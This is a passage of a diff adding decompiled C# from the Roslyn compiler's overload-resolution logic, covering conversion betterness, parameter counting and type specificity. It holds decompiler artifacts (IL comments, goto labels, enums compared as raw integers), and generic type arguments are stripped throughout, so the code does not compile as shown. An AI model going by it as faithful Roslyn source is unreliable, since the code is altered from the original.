= betterResult2; + flag = okToDowngradeToNeither; + } + } + else if (betterResult != betterResult2) + { + if (flag) + { + if (okToDowngradeToNeither) + { + betterResult = BetterResult.Neither; + flag = false; + flag2 = true; + } + else + { + betterResult = betterResult2; + flag = false; + } + } + else if (!okToDowngradeToNeither) + { + betterResult = BetterResult.Neither; + break; + } + } + else + { + flag = flag && okToDowngradeToNeither; + } + } + if (betterResult != BetterResult.Neither) + { + return betterResult; + } + GetParameterCounts(m1, arguments, out var declaredParameterCount, out var parametersUsedIncludingExpansionAndOptional); + GetParameterCounts(m2, arguments, out var declaredParameterCount2, out var parametersUsedIncludingExpansionAndOptional2); + if (flag3 && parametersUsedIncludingExpansionAndOptional == parametersUsedIncludingExpansionAndOptional2) + { + for (i++; i < arguments.Count; i++) + { + if (arguments[i].Kind != BoundKind.ArgListOperator) + { + TypeSymbol parameterType3 = GetParameterType(GetParameter(i, m1.Result, parameters), m1.Result); + TypeSymbol parameterType4 = GetParameterType(GetParameter(i, m2.Result, parameters2), m2.Result); + TypeSymbol source2 = parameterType3; + TypeSymbol destination2 = parameterType4; + if (!_binder.InAttributeArgument) + { + source2 = parameterType3.NormalizeTaskTypes(Compilation); + destination2 = parameterType4.NormalizeTaskTypes(Compilation); + } + if (Conversions.ClassifyImplicitConversionFromType(source2, destination2, ref useSiteInfo).Kind != ConversionKind.Identity) + { + flag3 = false; + break; + } + } + } + } + if (!flag3 || parametersUsedIncludingExpansionAndOptional != parametersUsedIncludingExpansionAndOptional2) + { + if (parametersUsedIncludingExpansionAndOptional != parametersUsedIncludingExpansionAndOptional2) + { + if (m1.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm) + { + if (m2.Result.Kind != MemberResolutionKind.ApplicableInExpandedForm) + { + return BetterResult.Right; + } + } + else if (m2.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm) + { + return BetterResult.Left; + } + if (parametersUsedIncludingExpansionAndOptional == arguments.Count) + { + return BetterResult.Left; + } + if (parametersUsedIncludingExpansionAndOptional2 == arguments.Count) + { + return BetterResult.Right; + } + } + return PreferValOverInOrRefInterpolatedHandlerParameters(arguments, m1, parameters, m2, parameters2); + } + if (m1.Member.GetMemberArity() == 0) + { + if (m2.Member.GetMemberArity() > 0) + { + return BetterResult.Left; + } + } + else if (m2.Member.GetMemberArity() == 0) + { + return BetterResult.Right; + } + if (m1.Result.Kind == MemberResolutionKind.ApplicableInNormalForm && m2.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm) + { + return BetterResult.Left; + } + if (m1.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm && m2.Result.Kind == MemberResolutionKind.ApplicableInNormalForm) + { + return BetterResult.Right; + } + if (m1.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm && m2.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm) + { + if (declaredParameterCount > declaredParameterCount2) + { + return BetterResult.Left; + } + if (declaredParameterCount < declaredParameterCount2) + { + return BetterResult.Right; + } + } + bool flag4 = m1.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm || declaredParameterCount == arguments.Count; + bool flag5 = m2.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm || declaredParameterCount2 == arguments.Count; + if (flag4 && !flag5) + { + return BetterResult.Left; + } + if (!flag4 && flag5) + { + return BetterResult.Right; + } + TemporaryArray empty = TemporaryArray.Empty; + try + { + TemporaryArray empty2 = TemporaryArray.Empty; + try + { + ImmutableArray parameters3 = m1.LeastOverriddenMember.OriginalDefinition.GetParameters(); + ImmutableArray parameters4 = m2.LeastOverriddenMember.OriginalDefinition.GetParameters(); + for (i = 0; i < arguments.Count; i++) + { + if (arguments[i].Kind != BoundKind.ArgListOperator) + { + ParameterSymbol parameter3 = GetParameter(i, m1.Result, parameters3); + empty.Add(GetParameterType(parameter3, m1.Result)); + ParameterSymbol parameter4 = GetParameter(i, m2.Result, parameters4); + empty2.Add(GetParameterType(parameter4, m2.Result)); + } + } + betterResult = MoreSpecificType(ref TemporaryArrayExtensions.AsRef(ref empty), ref TemporaryArrayExtensions.AsRef(ref empty2), ref useSiteInfo); + if (betterResult != BetterResult.Neither) + { + return betterResult; + } + } + finally + { + ((IDisposable)empty2/*cast due to constrained. prefix*/).Dispose(); + } + } + finally + { + ((IDisposable)empty/*cast due to constrained. prefix*/).Dispose(); + } + if ((int)m1.Member.ContainingType.TypeKind == 12 && (int)m2.Member.ContainingType.TypeKind == 12) + { + CSharpCompilation declaringCompilation = m1.Member.DeclaringCompilation; + CSharpCompilation declaringCompilation2 = m2.Member.DeclaringCompilation; + int submissionSlotIndex = ((Compilation)declaringCompilation).GetSubmissionSlotIndex(); + int submissionSlotIndex2 = ((Compilation)declaringCompilation2).GetSubmissionSlotIndex(); + if (submissionSlotIndex > submissionSlotIndex2) + { + return BetterResult.Left; + } + if (submissionSlotIndex < submissionSlotIndex2) + { + return BetterResult.Right; + } + } + int num = m1.LeastOverriddenMember.CustomModifierCount(); + int num2 = m2.LeastOverriddenMember.CustomModifierCount(); + if (num != num2) + { + if (num >= num2) + { + return BetterResult.Right; + } + return BetterResult.Left; + } + return PreferValOverInOrRefInterpolatedHandlerParameters(arguments, m1, parameters, m2, parameters2); + } + + private static bool RequiredFunctionType(MemberResolutionResult m) where TMember : Symbol + { + if (m.HasTypeArgumentInferredFromFunctionType) + { + return true; + } + ImmutableArray conversionsOpt = m.Result.ConversionsOpt; + if (conversionsOpt.IsDefault) + { + return false; + } + return conversionsOpt.Any((Conversion c) => c.Kind == ConversionKind.FunctionType); + } + + private static BetterResult PreferValOverInOrRefInterpolatedHandlerParameters(ArrayBuilder arguments, MemberResolutionResult m1, ImmutableArray parameters1, MemberResolutionResult m2, ImmutableArray parameters2) where TMember : Symbol + { + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + BetterResult betterResult = BetterResult.Neither; + for (int i = 0; i < arguments.Count; i++) + { + if (arguments[i].Kind == BoundKind.ArgListOperator) + { + continue; + } + ParameterSymbol parameter = GetParameter(i, m1.Result, parameters1); + ParameterSymbol parameter2 = GetParameter(i, m2.Result, parameters2); + bool isInterpolatedStringHandlerConversion = false; + if (m1.IsValid && m2.IsValid) + { + Conversion conversion = m1.Result.ConversionForArg(i); + Conversion conversion2 = m2.Result.ConversionForArg(i); + isInterpolatedStringHandlerConversion = conversion.IsInterpolatedStringHandler && conversion2.IsInterpolatedStringHandler; + } + if ((int)parameter.RefKind == 0 && isAcceptableRefMismatch(parameter2.RefKind, isInterpolatedStringHandlerConversion)) + { + if (betterResult == BetterResult.Right) + { + return BetterResult.Neither; + } + betterResult = BetterResult.Left; + } + else if ((int)parameter2.RefKind == 0 && isAcceptableRefMismatch(parameter.RefKind, isInterpolatedStringHandlerConversion)) + { + if (betterResult == BetterResult.Left) + { + return BetterResult.Neither; + } + betterResult = BetterResult.Right; + } + } + return betterResult; + static bool isAcceptableRefMismatch(RefKind refKind, bool flag) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Invalid comparison between Unknown and I4 + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + if ((int)refKind != 1) + { + if (refKind - 3 <= 1) + { + return true; + } + } + else if (flag) + { + return true; + } + return false; + } + } + + private static void GetParameterCounts(MemberResolutionResult m, ArrayBuilder arguments, out int declaredParameterCount, out int parametersUsedIncludingExpansionAndOptional) where TMember : Symbol + { + declaredParameterCount = m.Member.GetParameterCount(); + if (m.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm) + { + if (arguments.Count < declaredParameterCount) + { + ImmutableArray argsToParamsOpt = m.Result.ArgsToParamsOpt; + if (argsToParamsOpt.IsDefaultOrEmpty || !argsToParamsOpt.Contains(declaredParameterCount - 1)) + { + parametersUsedIncludingExpansionAndOptional = declaredParameterCount - 1; + } + else + { + parametersUsedIncludingExpansionAndOptional = declaredParameterCount; + } + } + else + { + parametersUsedIncludingExpansionAndOptional = arguments.Count; + } + } + else + { + parametersUsedIncludingExpansionAndOptional = declaredParameterCount; + } + } + + private static BetterResult MoreSpecificType(ref TemporaryArray t1, ref TemporaryArray t2, ref CompoundUseSiteInfo useSiteInfo) + { + BetterResult betterResult = BetterResult.Neither; + for (int i = 0; i < t1.Count; i++) + { + BetterResult betterResult2 = MoreSpecificType(t1[i], t2[i], ref useSiteInfo); + if (betterResult2 != BetterResult.Neither) + { + if (betterResult == BetterResult.Neither) + { + betterResult = betterResult2; + } + else if (betterResult != betterResult2) + { + return BetterResult.Neither; + } + } + } + return betterResult; + } + + private static BetterResult MoreSpecificType(TypeSymbol t1, TypeSymbol t2, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Invalid comparison between Unknown and I4 + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + bool flag = t1.IsTypeParameter(); + bool flag2 = t2.IsTypeParameter(); + if (flag && !flag2) + { + return BetterResult.Right; + } + if (!flag && flag2) + { + return BetterResult.Left; + } + if (flag && flag2) + { + return BetterResult.Neither; + } + if (t1.IsArray()) + { + ArrayTypeSymbol obj = (ArrayTypeSymbol)t1; + return MoreSpecificType(t2: ((ArrayTypeSymbol)t2).ElementType, t1: obj.ElementType, useSiteInfo: ref useSiteInfo); + } + if ((int)t1.TypeKind == 9) + { + PointerTypeSymbol obj2 = (PointerTypeSymbol)t1; + return MoreSpecificType(t2: ((PointerTypeSymbol)t2).PointedAtType, t1: obj2.PointedAtType, useSiteInfo: ref useSiteInfo); + } + if (t1.IsDynamic() || t2.IsDynamic()) + { + return BetterResult.Neither; + } + NamedTypeSymbol namedTypeSymbol = t1 as NamedTypeSymbol; + NamedTypeSymbol namedTypeSymbol2 = t2 as NamedTypeSymbol; + if ((object)namedTypeSymbol == null) + { + return BetterResult.Neither; + } + TemporaryArray empty = TemporaryArray.Empty; + try + { + TemporaryArray empty2 = TemporaryArray.Empty; + try + { + namedTypeSymbol.GetAllTypeArguments(ref TemporaryArrayExtensions.AsRef(ref empty), ref useSiteInfo); + namedTypeSymbol2.GetAllTypeArguments(ref TemporaryArrayExtensions.AsRef(ref empty2), ref useSiteInfo); + return MoreSpecificType(ref TemporaryArrayExtensions.AsRef(ref empty), ref TemporaryArrayExtensions.AsRef(ref empty2), ref useSiteInfo); + } + finally + { + ((IDisposable)empty2/*cast due to constrained. prefix*/).Dispose(); + } + } + finally + { + ((IDisposable)empty/*cast due to constrained. prefix*/).Dispose(); + } + } + + private BetterResult BetterConversionFromExpression(BoundExpression node, TypeSymbol t1, TypeSymbol t2, ref CompoundUseSiteInfo useSiteInfo) + { + bool okToDowngradeToNeither; + return BetterConversionFromExpression(node, t1, Conversions.ClassifyImplicitConversionFromExpression(node, t1, ref useSiteInfo), t2, Conversions.ClassifyImplicitConversionFromExpression(node, t2, ref useSiteInfo), ref useSiteInfo, out okToDowngradeToNeither); + } + + private BetterResult BetterConversionFromExpression(BoundExpression node, TypeSymbol t1, Conversion conv1, RefKind refKind1, TypeSymbol t2, Conversion conv2, RefKind refKind2, bool considerRefKinds, ref CompoundUseSiteInfo useSiteInfo, out bool okToDowngradeToNeither) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + okToDowngradeToNeither = false; + if (considerRefKinds) + { + if (refKind1 != refKind2) + { + if ((int)refKind1 == 0) + { + if (conv1.Kind != ConversionKind.Identity) + { + return BetterResult.Neither; + } + return BetterResult.Left; + } + if (conv2.Kind != ConversionKind.Identity) + { + return BetterResult.Neither; + } + return BetterResult.Right; + } + if ((int)refKind1 == 1) + { + return BetterResult.Neither; + } + } + return BetterConversionFromExpression(node, t1, conv1, t2, conv2, ref useSiteInfo, out okToDowngradeToNeither); + } + + private BetterResult BetterConversionFromExpression(BoundExpression node, TypeSymbol t1, Conversion conv1, TypeSymbol t2, Conversion conv2, ref CompoundUseSiteInfo useSiteInfo, out bool okToDowngradeToNeither) + { + okToDowngradeToNeither = false; + if (ConversionsBase.HasIdentityConversion(t1, t2)) + { + return BetterResult.Neither; + } + UnboundLambda unboundLambda = node as UnboundLambda; + BoundKind kind = node.Kind; + if (kind == BoundKind.OutVariablePendingInference || kind == BoundKind.OutDeconstructVarPendingInference || (kind == BoundKind.DiscardExpression && !node.HasExpressionType())) + { + okToDowngradeToNeither = false; + return BetterResult.Neither; + } + bool flag = _binder.Compilation.IsFeatureEnabled(MessageID.IDS_FeatureImprovedInterpolatedStrings); + bool flag2; + if (flag) + { + if (node is BoundUnconvertedInterpolatedString boundUnconvertedInterpolatedString) + { + if (boundUnconvertedInterpolatedString.ConstantValueOpt == null) + { + goto IL_0092; + } + } + else if (node is BoundBinaryOperator { IsUnconvertedInterpolatedStringAddition: not false, ConstantValueOpt: null }) + { + goto IL_0092; + } + flag2 = false; + goto IL_009a; + } + goto IL_009d; + IL_0092: + flag2 = true; + goto IL_009a; + IL_009a: + flag = flag2; + goto IL_009d; + IL_009d: + ConversionKind kind3; + if (flag) + { + ConversionKind kind2 = conv1.Kind; + kind3 = conv2.Kind; + if (kind2 == ConversionKind.InterpolatedStringHandler) + { + if (kind3 == ConversionKind.InterpolatedStringHandler) + { + return BetterResult.Neither; + } + return BetterResult.Left; + } + if (kind3 == ConversionKind.InterpolatedStringHandler) + { + return BetterResult.Right; + } + } + ConversionKind kind4 = conv1.Kind; + kind3 = conv2.Kind; + if (kind4 == ConversionKind.FunctionType) + { + if (kind3 != ConversionKind.FunctionType) + { + return BetterResult.Right; + } + } + else if (kind3 == ConversionKind.FunctionType) + { + return BetterResult.Left; + } + bool num = ExpressionMatchExactly(node, t1, ref useSiteInfo); + bool flag3 = ExpressionMatchExactly(node, t2, ref useSiteInfo); + if (num) + { + if (!flag3) + { + okToDowngradeToNeither = unboundLambda != null && CanDowngradeConversionFromLambdaToNeither(BetterResult.Left, unboundLambda, t1, t2, ref useSiteInfo, fromTypeAnalysis: false); + return BetterResult.Left; + } + } + else if (flag3) + { + okToDowngradeToNeither = unboundLambda != null && CanDowngradeConversionFromLambdaToNeither(BetterResult.Right, unboundLambda, t1, t2, ref useSiteInfo, fromTypeAnalysis: false); + return BetterResult.Right; + } + if (!conv1.IsConditionalExpression && conv2.IsConditionalExpression) + { + return BetterResult.Left; + } + if (!conv2.IsConditionalExpression && conv1.IsConditionalExpression) + { + return BetterResult.Right; + } + if (conv1.Kind == ConversionKind.CollectionExpression && conv2.Kind == ConversionKind.CollectionExpression) + { + if (IsBetterCollectionExpressionConversion(t1, conv1, t2, conv2, ref useSiteInfo)) + { + return BetterResult.Left; + } + if (IsBetterCollectionExpressionConversion(t2, conv2, t1, conv1, ref useSiteInfo)) + { + return BetterResult.Right; + } + return BetterResult.Neither; + } + return BetterConversionTarget(node, t1, conv1, t2, conv2, ref useSiteInfo, out okToDowngradeToNeither); + } + + private bool IsBetterCollectionExpressionConversion(TypeSymbol t1, Conversion conv1, TypeSymbol t2, Conversion conv2, ref CompoundUseSiteInfo useSiteInfo) + { + TypeSymbol elementType; + CollectionExpressionTypeKind collectionExpressionTypeKind = conv1.GetCollectionExpressionTypeKind(out elementType); + TypeSymbol elementType2; + CollectionExpressionTypeKind collectionExpressionTypeKind2 = conv2.GetCollectionExpressionTypeKind(out elementType2); + if (collectionExpressionTypeKind == CollectionExpressionTypeKind.ReadOnlySpan && collectionExpressionTypeKind2 == CollectionExpressionTypeKind.Span && hasImplicitConversion(elementType, elementType2, ref useSiteInfo)) + { + return true; + } + bool flag = (uint)(collectionExpressionTypeKind - 3) <= 1u; + if (flag && IsSZArrayOrArrayInterfaceOrString(t2, out elementType2) && hasImplicitConversion(elementType, elementType2, ref useSiteInfo)) + { + return true; + } + flag = (uint)(collectionExpressionTypeKind - 3) <= 1u; + bool flag2 = !flag; + if (flag2) + { + bool flag3 = (uint)(collectionExpressionTypeKind2 - 3) <= 1u; + flag2 = !flag3; + } + if (flag2 && hasImplicitConversion(t1, t2, ref useSiteInfo)) + { + return true; + } + return false; + bool hasImplicitConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo2) + { + return Conversions.ClassifyImplicitConversionFromType(source, destination, ref useSiteInfo2).IsImplicit; + } + } + + private bool IsSZArrayOrArrayInterfaceOrString(TypeSymbol type, out TypeSymbol elementType) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)type.SpecialType == 20) + { + elementType = Compilation.GetSpecialType((SpecialType)8); + return true; + } + if (type is ArrayTypeSymbol { IsSZArray: not false } arrayTypeSymbol) + { + elementType = arrayTypeSymbol.ElementType; + return true; + } + if (type.IsArrayInterface(out var typeArgument)) + { + elementType = typeArgument.Type; + return true; + } + elementType = null; + return false; + } + + private bool ExpressionMatchExactly(BoundExpression node, TypeSymbol t, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + if ((object)node.Type != null && ConversionsBase.HasIdentityConversion(node.Type, t)) + { + return true; + } + if (node.Kind == BoundKind.TupleLiteral) + { + return ExpressionMatchExactly((BoundTupleLiteral)node, t, ref useSiteInfo); + } + NamedTypeSymbol delegateType; + MethodSymbol delegateInvokeMethod; + TypeSymbol typeSymbol; + if (node.Kind == BoundKind.UnboundLambda && (object)(delegateType = t.GetDelegateType()) != null && (object)(delegateInvokeMethod = delegateType.DelegateInvokeMethod) != null && !(typeSymbol = delegateInvokeMethod.ReturnType).IsVoidType()) + { + BoundLambda boundLambda = ((UnboundLambda)node).BindForReturnTypeInference(delegateType); + bool inferredFromFunctionType; + TypeWithAnnotations inferredReturnType = boundLambda.GetInferredReturnType(ref useSiteInfo, out inferredFromFunctionType); + if (inferredReturnType.HasType && ConversionsBase.HasIdentityConversion(inferredReturnType.Type, typeSymbol)) + { + return true; + } + if (boundLambda.Symbol.IsAsync) + { + typeSymbol = ((!typeSymbol.OriginalDefinition.IsGenericTaskType(Compilation)) ? null : ((NamedTypeSymbol)typeSymbol).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type); + } + if ((object)typeSymbol != null) + { + int length = boundLambda.Body.Statements.Length; + if (length != 0) + { + if (length == 1 && boundLambda.Body.Statements[0].Kind == BoundKind.ReturnStatement) + { + BoundReturnStatement boundReturnStatement = (BoundReturnStatement)boundLambda.Body.Statements[0]; + if (boundReturnStatement.ExpressionOpt != null && ExpressionMatchExactly(boundReturnStatement.ExpressionOpt, typeSymbol, ref useSiteInfo)) + { + return true; + } + } + else + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + new ReturnStatements(instance).Visit(boundLambda.Body); + bool flag = false; + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundReturnStatement current = enumerator.Current; + if (current.ExpressionOpt == null || !ExpressionMatchExactly(current.ExpressionOpt, typeSymbol, ref useSiteInfo)) + { + flag = false; + break; + } + flag = true; + } + instance.Free(); + if (flag) + { + return true; + } + } + } + } + } + return false; + } + + private bool ExpressionMatchExactly(BoundTupleLiteral tupleSource, TypeSymbol targetType, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)targetType.Kind != 11) + { + return false; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)targetType; + ImmutableArray arguments = tupleSource.Arguments; + if (!namedTypeSymbol.IsTupleTypeOfCardinality(arguments.Length)) + { + return false; + } + ImmutableArray tupleElementTypesWithAnnotations = namedTypeSymbol.TupleElementTypesWithAnnotations; + for (int i = 0; i < arguments.Length; i++) + { + if (!ExpressionMatchExactly(arguments[i], tupleElementTypesWithAnnotations[i].Type, ref useSiteInfo)) + { + return false; + } + } + return true; + } + + private BetterResult BetterConversionTargetCore(TypeSymbol type1, TypeSymbol type2, ref CompoundUseSiteInfo useSiteInfo, int betterConversionTargetRecursionLimit) + { + if (betterConversionTargetRecursionLimit < 0) + { + return BetterResult.Neither; + } + bool okToDowngradeToNeither; + return BetterConversionTargetCore(null, type1, default(Conversion), type2, default(Conversion), ref useSiteInfo, out okToDowngradeToNeither, betterConversionTargetRecursionLimit - 1); + } + + private BetterResult BetterConversionTarget(BoundExpression node, TypeSymbol type1, Conversion conv1, TypeSymbol type2, Conversion conv2, ref CompoundUseSiteInfo useSiteInfo, out bool okToDowngradeToNeither) + { + return BetterConversionTargetCore(node, type1, conv1, type2, conv2, ref useSiteInfo, out okToDowngradeToNeither, 100); + } + + private BetterResult BetterConversionTargetCore(BoundExpression node, TypeSymbol type1, Conversion conv1, TypeSymbol type2, Conversion conv2, ref CompoundUseSiteInfo useSiteInfo, out bool okToDowngradeToNeither, int betterConversionTargetRecursionLimit) + { + okToDowngradeToNeither = false; + if (ConversionsBase.HasIdentityConversion(type1, type2)) + { + return BetterResult.Neither; + } + bool isImplicit = Conversions.ClassifyImplicitConversionFromType(type1, type2, ref useSiteInfo).IsImplicit; + bool isImplicit2 = Conversions.ClassifyImplicitConversionFromType(type2, type1, ref useSiteInfo).IsImplicit; + UnboundLambda unboundLambda = node as UnboundLambda; + if (isImplicit) + { + if (isImplicit2) + { + return BetterResult.Neither; + } + okToDowngradeToNeither = unboundLambda != null && CanDowngradeConversionFromLambdaToNeither(BetterResult.Left, unboundLambda, type1, type2, ref useSiteInfo, fromTypeAnalysis: true); + return BetterResult.Left; + } + if (isImplicit2) + { + okToDowngradeToNeither = unboundLambda != null && CanDowngradeConversionFromLambdaToNeither(BetterResult.Right, unboundLambda, type1, type2, ref useSiteInfo, fromTypeAnalysis: true); + return BetterResult.Right; + } + bool num = type1.OriginalDefinition.IsGenericTaskType(Compilation); + bool flag = type2.OriginalDefinition.IsGenericTaskType(Compilation); + if (num) + { + if (flag) + { + return BetterConversionTargetCore(((NamedTypeSymbol)type1).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type, ((NamedTypeSymbol)type2).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type, ref useSiteInfo, betterConversionTargetRecursionLimit); + } + return BetterResult.Neither; + } + if (flag) + { + return BetterResult.Neither; + } + NamedTypeSymbol delegateType; + if ((object)(delegateType = type1.GetDelegateType()) != null) + { + NamedTypeSymbol delegateType2; + if ((object)(delegateType2 = type2.GetDelegateType()) != null) + { + MethodSymbol delegateInvokeMethod = delegateType.DelegateInvokeMethod; + MethodSymbol delegateInvokeMethod2 = delegateType2.DelegateInvokeMethod; + if ((object)delegateInvokeMethod != null && (object)delegateInvokeMethod2 != null) + { + TypeSymbol returnType = delegateInvokeMethod.ReturnType; + TypeSymbol returnType2 = delegateInvokeMethod2.ReturnType; + BetterResult betterResult = BetterResult.Neither; + if (!returnType.IsVoidType()) + { + if (returnType2.IsVoidType()) + { + betterResult = BetterResult.Left; + } + } + else if (!returnType2.IsVoidType()) + { + betterResult = BetterResult.Right; + } + if (betterResult == BetterResult.Neither) + { + betterResult = BetterConversionTargetCore(returnType, returnType2, ref useSiteInfo, betterConversionTargetRecursionLimit); + } + if (node != null && node.Kind == BoundKind.MethodGroup) + { + BoundMethodGroup node2 = (BoundMethodGroup)node; + switch (betterResult) + { + case BetterResult.Left: + if (IsMethodGroupConversionIncompatibleWithDelegate(node2, delegateType, conv1)) + { + return BetterResult.Neither; + } + break; + case BetterResult.Right: + if (IsMethodGroupConversionIncompatibleWithDelegate(node2, delegateType2, conv2)) + { + return BetterResult.Neither; + } + break; + } + } + return betterResult; + } + } + return BetterResult.Neither; + } + if ((object)type2.GetDelegateType() != null) + { + return BetterResult.Neither; + } + if (IsSignedIntegralType(type1)) + { + if (IsUnsignedIntegralType(type2)) + { + return BetterResult.Left; + } + } + else if (IsUnsignedIntegralType(type1) && IsSignedIntegralType(type2)) + { + return BetterResult.Right; + } + return BetterResult.Neither; + } + + private bool IsMethodGroupConversionIncompatibleWithDelegate(BoundMethodGroup node, NamedTypeSymbol delegateType, Conversion conv) + { + if (conv.IsMethodGroup) + { + return !_binder.MethodIsCompatibleWithDelegateOrFunctionPointer(node.ReceiverOpt, conv.IsExtensionMethod, conv.Method, delegateType, Location.None, BindingDiagnosticBag.Discarded); + } + return false; + } + + private bool CanDowngradeConversionFromLambdaToNeither(BetterResult currentResult, UnboundLambda lambda, TypeSymbol type1, TypeSymbol type2, ref CompoundUseSiteInfo useSiteInfo, bool fromTypeAnalysis) + { + NamedTypeSymbol delegateType; + NamedTypeSymbol delegateType2; + if ((object)(delegateType = type1.GetDelegateType()) != null && (object)(delegateType2 = type2.GetDelegateType()) != null) + { + MethodSymbol delegateInvokeMethod = delegateType.DelegateInvokeMethod; + MethodSymbol delegateInvokeMethod2 = delegateType2.DelegateInvokeMethod; + if ((object)delegateInvokeMethod != null && (object)delegateInvokeMethod2 != null) + { + if (!IdenticalParameters(delegateInvokeMethod.Parameters, delegateInvokeMethod2.Parameters)) + { + return true; + } + TypeSymbol returnType = delegateInvokeMethod.ReturnType; + TypeSymbol returnType2 = delegateInvokeMethod2.ReturnType; + if (returnType.IsVoidType()) + { + if (returnType2.IsVoidType()) + { + return true; + } + return false; + } + if (returnType2.IsVoidType()) + { + return false; + } + if (ConversionsBase.HasIdentityConversion(returnType, returnType2)) + { + return true; + } + if (!lambda.InferReturnType(Conversions, delegateType, ref useSiteInfo, out var _).HasType) + { + return true; + } + } + } + return false; + } + + private static bool IdenticalParameters(ImmutableArray p1, ImmutableArray p2) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (p1.IsDefault || p2.IsDefault) + { + return false; + } + if (p1.Length != p2.Length) + { + return false; + } + for (int i = 0; i < p1.Length; i++) + { + ParameterSymbol parameterSymbol = p1[i]; + ParameterSymbol parameterSymbol2 = p2[i]; + if (parameterSymbol.RefKind != parameterSymbol2.RefKind) + { + return false; + } + if (!ConversionsBase.HasIdentityConversion(parameterSymbol.Type, parameterSymbol2.Type)) + { + return false; + } + } + return true; + } + + private static bool IsSignedIntegralType(TypeSymbol type) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected I4, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + if ((object)type != null && type.IsNullableType()) + { + type = type.GetNullableUnderlyingType(); + } + SpecialType specialTypeSafe = type.GetSpecialTypeSafe(); + switch (specialTypeSafe - 9) + { + default: + if ((int)specialTypeSafe != 21 || !type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 0: + case 2: + case 4: + case 6: + return true; + case 1: + case 3: + case 5: + break; + } + return false; + } + + private static bool IsUnsignedIntegralType(TypeSymbol type) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected I4, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + if ((object)type != null && type.IsNullableType()) + { + type = type.GetNullableUnderlyingType(); + } + SpecialType specialTypeSafe = type.GetSpecialTypeSafe(); + switch (specialTypeSafe - 10) + { + default: + if ((int)specialTypeSafe != 22 || !type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 0: + case 2: + case 4: + case 6: + return true; + case 1: + case 3: + case 5: + break; + } + return false; + } + + internal static void GetEffectiveParameterTypes(MethodSymbol method, int argumentCount, ImmutableArray argToParamMap, ArrayBuilder argumentRefKinds, bool isMethodGroupConversion, bool allowRefOmittedArguments, Binder binder, bool expanded, out ImmutableArray parameterTypes, out ImmutableArray parameterRefKinds) + { + bool hasAnyRefOmittedArgument; + EffectiveParameters effectiveParameters = (expanded ? GetEffectiveParametersInExpandedForm(method, argumentCount, argToParamMap, argumentRefKinds, isMethodGroupConversion, allowRefOmittedArguments, binder, out hasAnyRefOmittedArgument) : GetEffectiveParametersInNormalForm(method, argumentCount, argToParamMap, argumentRefKinds, isMethodGroupConversion, allowRefOmittedArguments, binder, out hasAnyRefOmittedArgument)); + parameterTypes = effectiveParameters.ParameterTypes; + parameterRefKinds = effectiveParameters.ParameterRefKinds; + } + + private EffectiveParameters GetEffectiveParametersInNormalForm(TMember member, int argumentCount, ImmutableArray argToParamMap, ArrayBuilder argumentRefKinds, bool isMethodGroupConversion, bool allowRefOmittedArguments) where TMember : Symbol + { + bool hasAnyRefOmittedArgument; + return GetEffectiveParametersInNormalForm(member, argumentCount, argToParamMap, argumentRefKinds, isMethodGroupConversion, allowRefOmittedArguments, _binder, out hasAnyRefOmittedArgument); + } + + private static EffectiveParameters GetEffectiveParametersInNormalForm(TMember member, int argumentCount, ImmutableArray argToParamMap, ArrayBuilder 